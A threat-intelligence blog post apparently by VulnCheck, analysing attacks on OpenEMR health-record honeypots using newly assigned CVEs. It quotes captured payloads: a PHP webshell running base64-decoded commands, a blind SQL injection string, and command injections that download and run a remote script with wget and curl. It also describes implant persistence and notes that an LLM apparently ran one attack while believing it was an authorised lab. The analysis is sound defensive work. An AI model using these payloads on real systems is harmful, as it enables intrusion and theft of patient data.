Go back

OpenEMR Electronic Health Record Platform Under Siege

Jacob Baines

Jacob Baines

@Junior_Baines

Key Takeaways

  1. OpenEMR canary instances maintained by VulnCheck were compromised. Attackers stole database credentials, deployed webshells, and executed a multi-architecture implant featuring multiple layers of persistence and an SSH backdoor.
  2. Attackers began exploiting five OpenEMR vulnerabilities in our canary network within 24 hours of their CVE assignments on November 8, 2026.
  3. Despite widespread exploitation, not a single OpenEMR CVE appears in CISA KEV. We independently observed all eight vulnerabilities in our canary network and automatically added them to the freely available VulnCheck KEV.

OpenEMR is a free, open-source electronic health record (EHR) and medical practice management platform used by an estimated 100,000 medical providers serving over 200 million patients worldwide. In November 2026, more than 100 CVEs covering OpenEMR vulnerabilities were published, including SQL injection, path traversal, and improper access control.

VulnCheck CNA dropped a large chunk of those vulnerabilities in two batches: one on November 8, 2026 and the second on November 13. Our Initial Access Intelligence team immediately provided coverage for both and deployed vulnerable Docker containers into our canary network. The canaries went out to seven countries: Spain, Italy, Canada, Japan, Australia, the United Kingdom, and Brazil. On November 9, the first attacks landed.

Over the next 23 days, our canaries recorded more than 1,000 attacks from 14 IPs targeting 8 OpenEMR CVEs (six new CVEs plus two from earlier in 2026). This post breaks down what we saw.

We Didn't Wait Long

We observed the first attacks on November 9, just one day after the first batch of CVEs was issued. Between November 9 and November 27, 2026, our canary network captured 1,053 OpenEMR-specific attacks. The breakdown by CVE is as follows:

CVEVuln TypeEvents%
CVE-2026-124469SQL Injection59456%
CVE-2026-124450Arbitrary File R/W16816%
CVE-2026-124490Arbitrary File R/W10510%
CVE-2026-124446Arbitrary File R/W878%
CVE-2026-24849Arbitrary File Read565%
CVE-2026-126443Patient Finder auth bypass363%
CVE-2026-32238Command Injection61%
CVE-2026-124488Encounter form bypass1<1%

This wasn't background noise or unfocused scanning. We observed targeted exploitation by a small number of actors with purpose-built (or AI-built) tools. In the following sections, we examine three different campaigns and what they achieved.

The Webshell Campaign

This campaign focused on the disposeDocument endpoint in OpenEMR's FaxSMS module. The disposeDocument() method accepts a user-controlled file_path parameter without adequate validation, allowing an authenticated attacker to read and write arbitrary files from the server.

Attackers largely focused the read capability on five specific purposes:

File TargetEventsPurpose
sqlconf.php~148Database credentials
/etc/passwd~114Proof of exploitation
probe.php, xv_*.php, Smarty template cache~116Webshell verification
/tmp/.p.sh, /tmp/xv_8f2900.txt~20Dropped payload verification
/etc/hostname, /etc/os-release, /etc/apache2/httpd.conf~23System fingerprinting

The most straightforward file read is the targeting of sqlconf.php, OpenEMR's database configuration file, which contains the MySQL hostname, database name, username, and password in plaintext. Attackers tried probing multiple known install paths for sqlconf.php to find it:

  1. /var/www/localhost/htdocs/openemr/sites/default/sqlconf.php
  2. /var/www/html/openemr/sites/default/sqlconf.php
  3. /var/www/openemr/sites/default/sqlconf.php
  4. ../../../../sites/default/sqlconf.php

Our canaries are real, vulnerable OpenEMR instances, so when an attacker attempts to leak the database file… they get it. This emboldens them to move forward to the next stage: trying to drop a webshell.

79.76.51[.]56 (Oracle Cloud, Sweden) used action=setup with a base64-encoded content parameter to write a PHP test payload to multiple paths:

action=setup&file_path=/var/www/localhost/htdocs/openemr/interface/xv_345b85ce.php&content=PD9waHAgZWNobyAiWFZPSyIuKDcqNyk7ID8+

That content decodes to <?php echo "XVOK".(7*7); ?>, a classic webshell test. If you request the file over HTTP and get back XVOK49, you know the PHP file was written and executed by a PHP interpreter. This attacker wrote the test payload to multiple locations (/tmp/, sites/default/documents/, sites/default/edi/, interface/), then used the file read vulnerability to verify each one landed on disk. Here's the full sequence from a 4-minute window on November 10:

  1. Read sqlconf.php via three different install paths, trying /var/www/html/, /var/www/, and /var/www/localhost/htdocs/, until one succeeded. The response contained the full database credentials.
  2. Wrote <?php echo "XVOK".(7*7); ?> to xv_345b85ce.php in the OpenEMR interface/ directory via action=setup.
  3. Read back xv_345b85ce.php to verify the write succeeded.
  4. Wrote the same payload to sites/default/documents/, sites/default/edi/, and /tmp/, verifying each.

That's credential theft, webshell deployment, and verification in under four minutes.

179.43.189[.]122 (Private Layer, Switzerland) went further. On November 13, they deployed a functional webshell with command execution:

<?php
echo 'RCEOK';
if (isset($_GET['c'])) { system(base64_decode($_GET['c'])); }
?>

This shell accepts arbitrary commands via the c query parameter, base64-decodes them, and passes them to system(). The attacker wrote it into the Smarty template cache (acl_admin.tpl.php), a location that blends in with legitimate compiled templates. They also wrote a test payload (<?php echo 'PWNPROBE9a75b689'; ?>) as probe.php across multiple web-accessible directories to identify which paths would be reachable over HTTP. The attacker returned ~2.5 hours later and repeated the weaponized shell writes to canaries in both Spain and Japan.

The SQLi Campaign

On November 17, we observed a spike of OpenEMR attacks: 637 events in a single day. This was entirely the work of one attacker: 179.43.189[.]122, hosted on Private Layer INC in Switzerland. This IP used the SQLi vulnerability, CVE-2026-124469, 594 times across canaries in Italy (250), Canada (138), Australia (113), Japan (63), and the UK (30). The captured network traffic reveals a multi-step exploitation chain:

  1. Version fingerprinting: The attacker first requests CHANGELOG.md to determine the OpenEMR version.
  2. Authentication: They log in with default credentials (admin:pass) via a POST to /interface/main/main_screen.php.
  3. Session setup: After authentication, they navigate to the encounter and fee sheet pages to establish the required session context.
  4. Time-based blind SQL injection: The actual injection is in the warehouse parameter of the fee sheet form:
prod[0][warehouse]=' , (SELECT IF((ASCII(SUBSTRING((SELECT VERSION()),2,1)) > 63),SLEEP(4.0),0) FROM information_schema.tables LIMIT 1) LIMIT 1 -- -

This is a time-based blind SQLi, extracting data one character at a time by measuring response delays. Across the 594 events, we can see the attacker extracting three things: the MySQL VERSION(), the DATABASE() name, and enumerating users_secure, OpenEMR's credential table, which stores usernames and bcrypt password hashes.

Amusingly, most of the requests from this attack carried an HTTP user-agent of OpenEMR-CVE-2026-124469-PoC/1.0 (authorised-lab). Obviously, they were not authorized. We believe this to be an LLM that was convinced it was running an authorized lab exercise over the internet.

The Command Injection Campaign

The same Swiss IP (179.43.189.122) was also responsible for all 6 command injection attacks targeting CVE-2026-32238. The network traffic shows a three-phase attack:

Phase 1: Reconnaissance:

a'; { id; uname -a; which wget curl busybox php perl mysqldump; ls -la /tmp; } > /tmp/openemr_config.sql 2>&1; #

This runs system identification commands and checks for available download tools, writing everything to a file on disk.

Phase 2: Payload delivery:

a'; wget -qO/tmp/p http://179.43.189.122/dl/pb_182930.sh; setsid sh /tmp/p >/dev/null 2>&1 & #

Downloads a shell script from the attacker's own infrastructure and executes it in the background. Note the IP in the download URL is the same IP doing the attacking.

Phase 3: Fallback delivery:

a'; curl -fsSL http://179.43.189.122/dl/pb_182930.sh -o /tmp/p; setsid sh /tmp/p >/dev/null 2>&1 & #

In case wget isn't available, they try curl.

We retrieved the second-stage script (pb_182930.sh, SHA-256: a1ce8b2d203e2b7add4ccc19f2eb835107df5acfbca87cf1a63569d4e0de3f0d). It's a full implant dropper with Russian-language comments ("цепочка доставки" = delivery chain, "фоллбек" = fallback) and a level of engineering that goes well beyond a one-off exploit script. The script detects the target CPU (amd64, arm64, i386, arm, mips, mipsle) and downloads the matching pwnbeacon binary. It has six download fallback methods: curl, wget, busybox wget, python3, python2, and even raw openssl s_client designed to work on everything from full Linux servers to embedded busybox devices. A tinybeacon variant (the comment says "600KB instead of 5MB") is available for constrained devices with slow links.

The beacon phones home every 300 seconds to a primary C2 at 179.43.189.122 (the same attack IP), with backup domains disguised as legitimate services:

  • fedfxt5vxs5chrec7cnvgt.clarity-ms-analytics.com (mimics Microsoft Clarity analytics)
  • stage.wpengine-myloenergy.com
  • stage.wpengine-parlaclinic.com
  • stage.wpengine-gastro.org

A secondary download server at 144.31.231.56 provides another fallback. All downloads authenticate with hardcoded credentials (scanner:6b738f757a5f7dc82c313d64).

The script tries five persistence mechanisms on the target, in order:

  1. systemd service (systemd-cache.service) with Restart=always
  2. crontab — @reboot entry plus a */10 * * * * liveness check
  3. /etc/profile.d/sysd-cache.sh — executes on every login
  4. ~/.bashrc and ~/.profile injection — user-level persistence without root
  5. XDG autostart desktop entry — catches desktop environments

A supervisor script (.r) wraps the beacon in a restart loop with flock for singleton behavior. A comment notes this was added because "~350 zombies on old hosts." If running as root, the script appends an ed25519 SSH public key (crawler-fleet) to /root/.ssh/authorized_keys, giving the attacker persistent SSH access independent of the beacon.

This isn't a proof of concept. It's operational infrastructure for compromising and maintaining access to victim systems at scale.

CISA KEV

As of November 30, 2026, not a single OpenEMR CVE appears in the CISA Known Exploited Vulnerabilities (KEV) catalog. This includes the eight vulnerabilities discussed in this post and the more than 200 OpenEMR CVEs cataloged over the past decade. Despite the exploitation documented here, organizations relying solely on CISA KEV for patch prioritization would have no indication that these vulnerabilities are being actively exploited.

The VulnCheck KEV takes a broader approach, automatically incorporating exploitation observed across our canary network. This is exactly the kind of visibility that can get lost when relying on a single source of exploitation intelligence.

Conclusion

In 23 days, 14 attackers found and exploited our OpenEMR canaries using 8 different CVEs. They came equipped with private exploit tooling, multi-stage attack chains, and clear objectives: steal database credentials, plant webshells, and establish persistent access. One particularly interesting actor hosted their own payload delivery infrastructure, attempted to download shell scripts onto targets, and self-identified as an "authorised lab" while attacking honeypots across five countries.

OpenEMR is not an obscure piece of software. An estimated 100,000 medical providers use it to serve more than 200 million patients worldwide, and attackers are actively targeting it. If you run OpenEMR, update it or apply mitigations. If you expose it to the internet, reconsider that decision. And if you're waiting for these CVEs to appear in the CISA KEV catalog before treating them as urgent, the attackers aren't waiting with you.

Appendix: Indicators of Compromise

IndicatorTypeContext
179.43.189[.]122IPCH, Private Layer INC
79.76.51[.]56IPSE, Oracle Corporation
23.132.164[.]35IPDE, Netiface America, Inc.
158.158.73[.]203IPES, Microsoft Corporation
20.89.134[.]69IPJP, Microsoft Corporation
5.188.206[.]226IPBG, KREZ 999 EOOD
78.128.113[.]10IPBG, Miti 2000 EOOD
114.12.19[.]232IPID, INDOSAT Internet Network Provider
103.160.213[.]217IPID, PT Dewa Bisnis Digital
103.76.149[.]104IPID, PT. Java Digital Nusantara
36.69.158[.]169IPID, PT Telekomunikasi Indonesia
123.52.228[.]48IPCN, CHINANET BACKBONE
74.208.19[.]100IPUS, IONOS SE
130.12.182[.]154IPSI, VPS Dedicated LLC
144.31.231[.]56IPSecondary C2/download server (from pb_182930.sh)
a1ce8b2d203e2b7add4ccc19f2eb835107df5acfbca87cf1a63569d4e0de3f0dSHA-256pb_182930.sh (implant dropper)
clarity-ms-analytics[.]comDomainC2 domain (mimics Microsoft Clarity)
wpengine-myloenergy[.]comDomainC2 domain (mimics WPEngine)
wpengine-parlaclinic[.]comDomainC2 domain (mimics WPEngine)
wpengine-gastro[.]orgDomainC2 domain (mimics WPEngine)

About VulnCheck

VulnCheck's research team tracks internet-facing exposure and exploitation activity using our Target Intelligence and Initial Access Intelligence datasets.

Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Target Intelligence, Initial Access Intelligence, and Exploit & Vulnerability Intelligence products.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.